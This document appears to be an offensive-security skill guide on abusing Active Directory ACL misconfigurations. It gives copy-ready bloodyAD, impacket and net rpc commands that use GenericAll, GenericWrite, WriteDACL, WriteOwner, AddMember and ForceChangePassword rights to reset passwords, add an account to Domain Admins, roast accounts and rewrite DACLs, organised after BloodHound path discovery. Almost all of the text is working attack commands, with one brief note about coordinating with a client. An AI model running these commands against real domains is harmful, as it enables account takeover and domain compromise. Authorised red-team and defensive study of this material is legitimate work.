Acl Abuse

ACL Abuse

Active Directory permissions are a graph. A single misconfigured Access Control Entry (ACE), say a low-priv user with GenericAll over a group, WriteDacl over a computer, or WriteOwner over an OU, is a directed edge you can walk from where you are toward Domain Admin. This skill turns those edges into concrete commands with bloodyAD and impacket, after BloodHound CE (Apache-2.0, genuinely open source) has drawn the path.

Find the paths first (BloodHound CE). Collect with a standard collector, import into BloodHound CE, and look at the outbound control edges from your owned principal: GenericAll, GenericWrite, WriteDacl, Owns/WriteOwner, AddMember, ForceChangePassword, AllExtendedRights, and DCSync. Pre-built queries like "Shortest paths from Owned principals" and "Find principals with DCSync rights" hand you the chain.

Collect edges with a standard collector, for example:

nxc ldap 10.0.0.10 -u user -p 'Password123' --bloodhound --collection All --dns-server 10.0.0.10

or run rusthound-ce / SharpHound CE and import the ZIP into BloodHound CE.

GenericAll

MITRE ATT&CK: T1222 (Permission Modification) / T1098 (Account Manipulation)

What it is. Full control over the target object. What you do with it depends on the target type:

• Over a user: reset their password (ForceChangePassword) or set an SPN and Kerberoast them (targeted roasting), or set DONT_REQ_PREAUTH and AS-REP roast.
• Over a group: add yourself as a member (AddMember).
• Over a computer: write RBCD (msDS-AllowedToActOnBehalfOfOtherIdentity) and impersonate (see the Kerberos skill).

Reset a user's password:

bloodyAD --host 10.0.0.10 -d CORP.LOCAL -u owneduser -p 'Password123' \
  set password TARGETUSER 'NewPass123!'

Add yourself to a group:

bloodyAD --host 10.0.0.10 -d CORP.LOCAL -u owneduser -p 'Password123' \
  add groupMember 'Domain Admins' owneduser

Targeted Kerberoast (set an SPN you control, then roast, see Kerberos skill):

bloodyAD --host 10.0.0.10 -d CORP.LOCAL -u owneduser -p 'Password123' \
  set object TARGETUSER servicePrincipalName -v 'fake/svc'
GetUserSPNs.py -request-user TARGETUSER -dc-ip 10.0.0.10 CORP.LOCAL/owneduser:'Password123'

GenericWrite

MITRE ATT&CK: T1098

What it is. Write non-protected attributes on the target. Enough to set an SPN (targeted Kerberoast), set DONT_REQ_PREAUTH (targeted AS-REP roast), or write msDS-AllowedToActOnBehalfOfOtherIdentity on a computer (RBCD). Not enough to reset the password directly on a user (that is ForceChangePassword / GenericAll).

Set the preauth-disabled flag for a targeted AS-REP roast:

bloodyAD --host 10.0.0.10 -d CORP.LOCAL -u owneduser -p 'Password123' \
  add uac TARGETUSER -f DONT_REQ_PREAUTH
GetNPUsers.py -dc-ip 10.0.0.10 -request CORP.LOCAL/owneduser:'Password123'

Write RBCD on a computer you can then S4U through:

bloodyAD --host 10.0.0.10 -d CORP.LOCAL -u owneduser -p 'Password123' \
  add rbcd TARGET$ EVIL$

ForceChangePassword

MITRE ATT&CK: T1098

What it is. The User-Force-Change-Password extended right lets you reset the target user's password without knowing the old one. Straight account takeover of that user.

bloodyAD --host 10.0.0.10 -d CORP.LOCAL -u owneduser -p 'Password123' \
  set password TARGETUSER 'NewPass123!'

impacket alternative:

net rpc password TARGETUSER 'NewPass123!' -U 'CORP.LOCAL/owneduser%Password123' -S 10.0.0.10

Note: resetting an in-use account is noisy and disruptive; it locks the real user out. Prefer targeted Kerberoast/AS-REP where the edge allows, and coordinate password resets with the client.

AddMember

MITRE ATT&CK: T1098

What it is. Write access to a group's member attribute. Add a principal you control to a privileged group (a nested group that eventually reaches Domain Admins is just as good).

bloodyAD --host 10.0.0.10 -d CORP.LOCAL -u owneduser -p 'Password123' \
  add groupMember 'Backup Operators' owneduser

WriteDACL

MITRE ATT&CK: T1222.001 (Windows Permission Modification)

What it is. You can rewrite the target's DACL, so you grant yourself whatever ACE you want (up to full control) and then exploit that. The common escalation is to grant yourself the replication rights on the domain object (setting up DCSync, see below) or GenericAll on a user/group.

Grant yourself an ACE on the target (impacket dacledit):

dacledit.py -action write -rights FullControl -principal owneduser \
  -target-dn 'CN=TargetUser,CN=Users,DC=corp,DC=local' \
  -dc-ip 10.0.0.10 CORP.LOCAL/owneduser:'Password123'

bloodyAD equivalent (grant a right on an object):

bloodyAD --host 10.0.0.10 -d CORP.LOCAL -u owneduser -p 'Password123' \
  add genericAll 'CN=TargetUser,CN=Users,DC=corp,DC=local' owneduser

WriteOwner / Owns

MITRE ATT&CK: T1222.001

What it is. You can set yourself as the owner of the target object. The owner can always rewrite the DACL, so WriteOwner chains into WriteDACL into full control. Two steps: take ownership, then grant yourself rights.

Take ownership (impacket owneredit):

owneredit.py -action write -new-owner owneduser \
  -target-dn 'CN=TargetUser,CN=Users,DC=corp,DC=local' \
  -dc-ip 10.0.0.10 CORP.LOCAL/owneduser:'Password123'

Then grant yourself full control with dacledit (as above), then exploit as GenericAll.

bloodyAD one-liner for ownership:

bloodyAD --host 10.0.0.10 -d CORP.LOCAL -u owneduser -p 'Password123' \
  set owner 'CN=TargetUser,CN=Users,DC=corp,DC=local' owneduser